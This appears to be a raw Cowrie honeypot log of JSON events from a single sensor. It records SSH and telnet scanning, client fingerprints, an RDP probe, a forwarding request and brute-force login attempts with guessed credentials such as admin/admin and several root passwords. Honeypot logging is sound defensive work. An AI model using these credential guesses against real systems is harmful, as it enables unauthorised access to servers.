{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49054,"dst_ip":"10.17.0.5","dst_port":23,"session":"e91b0887ba94","protocol":"telnet","message":"New connection: 152.42.224.71:49054 (10.17.0.5:23) [session: e91b0887ba94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:33.595514Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":8060,"dst_ip":"10.17.0.5","dst_port":22,"session":"148322702b34","protocol":"ssh","message":"New connection: 87.251.64.176:8060 (10.17.0.5:22) [session: 148322702b34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:36.854554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:36.859298Z","src_ip":"87.251.64.176","session":"148322702b34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:36.959374Z","src_ip":"87.251.64.176","session":"148322702b34","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:37.248770Z","src_ip":"87.251.64.176","session":"148322702b34","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:37.347610Z","session":"148322702b34","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:37.446516Z","src_ip":"87.251.64.176","session":"148322702b34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:37.544775Z","src_ip":"87.251.64.176","session":"148322702b34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33488,"dst_ip":"10.17.0.5","dst_port":23,"session":"c16aaf9dc4da","protocol":"telnet","message":"New connection: 152.42.224.71:33488 (10.17.0.5:23) [session: c16aaf9dc4da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:37.778518Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33496,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fe5c014ad18","protocol":"telnet","message":"New connection: 152.42.224.71:33496 (10.17.0.5:23) [session: 2fe5c014ad18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:40.386535Z"}
{"eventid":"cowrie.session.closed","duration":43.247864961624146,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:48.981632Z","src_ip":"152.42.224.71","session":"073ab2678fd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.96.110.121","src_port":39434,"dst_ip":"159.203.135.109","dst_port":22,"session":"933c194ac035","protocol":"ssh","message":"New connection: 191.96.110.121:39434 (159.203.135.109:22) [session: 933c194ac035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:51.384705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:51.389575Z","src_ip":"191.96.110.121","session":"933c194ac035","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:52.088874Z","src_ip":"191.96.110.121","session":"933c194ac035","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"miami13","message":"login attempt [root/miami13] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:54.094517Z","src_ip":"191.96.110.121","session":"933c194ac035","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:55.792501Z","src_ip":"191.96.110.121","session":"933c194ac035","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37994,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad8bf0e687ff","protocol":"telnet","message":"New connection: 152.42.224.71:37994 (10.17.0.5:23) [session: ad8bf0e687ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:59.386421Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.241","src_port":54596,"dst_ip":"159.203.135.109","dst_port":22,"session":"a38b0667807a","protocol":"ssh","message":"New connection: 37.143.61.241:54596 (159.203.135.109:22) [session: a38b0667807a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:03.664855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:03.670713Z","src_ip":"37.143.61.241","session":"a38b0667807a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:03.754230Z","src_ip":"37.143.61.241","session":"a38b0667807a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"serverts3","message":"login attempt [root/serverts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:04.114143Z","src_ip":"37.143.61.241","session":"a38b0667807a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:05.199058Z","src_ip":"37.143.61.241","session":"a38b0667807a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37996,"dst_ip":"10.17.0.5","dst_port":23,"session":"685429c432de","protocol":"telnet","message":"New connection: 152.42.224.71:37996 (10.17.0.5:23) [session: 685429c432de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:05.524218Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54044,"dst_ip":"10.17.0.5","dst_port":23,"session":"582ee2b1e6eb","protocol":"telnet","message":"New connection: 152.42.224.71:54044 (10.17.0.5:23) [session: 582ee2b1e6eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:09.690507Z"}
{"eventid":"cowrie.session.closed","duration":120.00169086456299,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:09.791239Z","src_ip":"152.42.224.71","session":"9ea513c83427","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65910577774048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:11.045539Z","src_ip":"152.42.224.71","session":"2fe5c014ad18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.00782585144043,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:11.603240Z","src_ip":"152.42.224.71","session":"e91b0887ba94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54050,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5b90085c800","protocol":"telnet","message":"New connection: 152.42.224.71:54050 (10.17.0.5:23) [session: e5b90085c800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:11.792022Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.35.229","src_port":48740,"dst_ip":"159.203.135.109","dst_port":22,"session":"1449da0a9c0c","protocol":"ssh","message":"New connection: 43.130.35.229:48740 (159.203.135.109:22) [session: 1449da0a9c0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:13.918032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:13.922779Z","src_ip":"43.130.35.229","session":"1449da0a9c0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:13.991731Z","src_ip":"43.130.35.229","session":"1449da0a9c0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"charlie123","message":"login attempt [root/charlie123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:14.297651Z","src_ip":"43.130.35.229","session":"1449da0a9c0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54070,"dst_ip":"10.17.0.5","dst_port":23,"session":"46bdac881870","protocol":"telnet","message":"New connection: 152.42.224.71:54070 (10.17.0.5:23) [session: 46bdac881870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:14.383083Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54066,"dst_ip":"10.17.0.5","dst_port":23,"session":"331957096f78","protocol":"telnet","message":"New connection: 152.42.224.71:54066 (10.17.0.5:23) [session: 331957096f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:14.394444Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:15.369560Z","src_ip":"43.130.35.229","session":"1449da0a9c0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":105.37608122825623,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:20.174312Z","src_ip":"152.42.224.71","session":"c186d90d4db3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.52.132.30","src_port":39058,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4b28e8e024a","protocol":"ssh","message":"New connection: 72.52.132.30:39058 (159.203.135.109:22) [session: a4b28e8e024a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:24.461146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:24.465794Z","src_ip":"72.52.132.30","session":"a4b28e8e024a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:24.503784Z","src_ip":"72.52.132.30","session":"a4b28e8e024a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"135792468","message":"login attempt [root/135792468] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:24.665306Z","src_ip":"72.52.132.30","session":"a4b28e8e024a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":54884,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd6c9532fe11","protocol":"ssh","message":"New connection: 167.172.81.52:54884 (159.203.135.109:22) [session: fd6c9532fe11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:24.746062Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:24.751961Z","src_ip":"167.172.81.52","session":"fd6c9532fe11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:24.755903Z","src_ip":"167.172.81.52","session":"fd6c9532fe11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:25.701476Z","src_ip":"72.52.132.30","session":"a4b28e8e024a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.44.20.33","src_port":46652,"dst_ip":"10.17.0.5","dst_port":22,"session":"70b02aee72e7","protocol":"ssh","message":"New connection: 188.44.20.33:46652 (10.17.0.5:22) [session: 70b02aee72e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:28.146904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:28.154551Z","src_ip":"188.44.20.33","session":"70b02aee72e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:28.287018Z","src_ip":"188.44.20.33","session":"70b02aee72e7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:da:6f:3e:cd:72:7a:33:fa:46:e4:f3:16:db:36:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI9Y56ycdBCnTlsvj4/t9duG1P9WSTGF8lcdyb6fXyQaeB0Hw4fXT0fGsSpMscsaYzOkDf54DUwL7GUpl8ohupFJZ/e/49NBcB9q2EnfijbIgUC3VcZWdsHqoKheFScvpeqYv6c7q/XjNb3YhisC+MHAOx0x1RoTa1R493odZ4cV0ubknEMbCHGTNWRe6sfD4eqO+bOukMWtiPQNNy9FFKe/CWMER9gW/+LLVDWDImQ+HpBbuZXcmdBPd93X9zKEED7DaQRzu22IT/IhBSTyXXoea1d23EZdpzdIOFnRHXET6cMX9X8zuLr1vRrCemUWoN6cOZfoqQoeajLLI8v1Q3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:da:6f:3e:cd:72:7a:33:fa:46:e4:f3:16:db:36:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:28.940485Z","src_ip":"188.44.20.33","session":"70b02aee72e7","protocol":"ssh"}
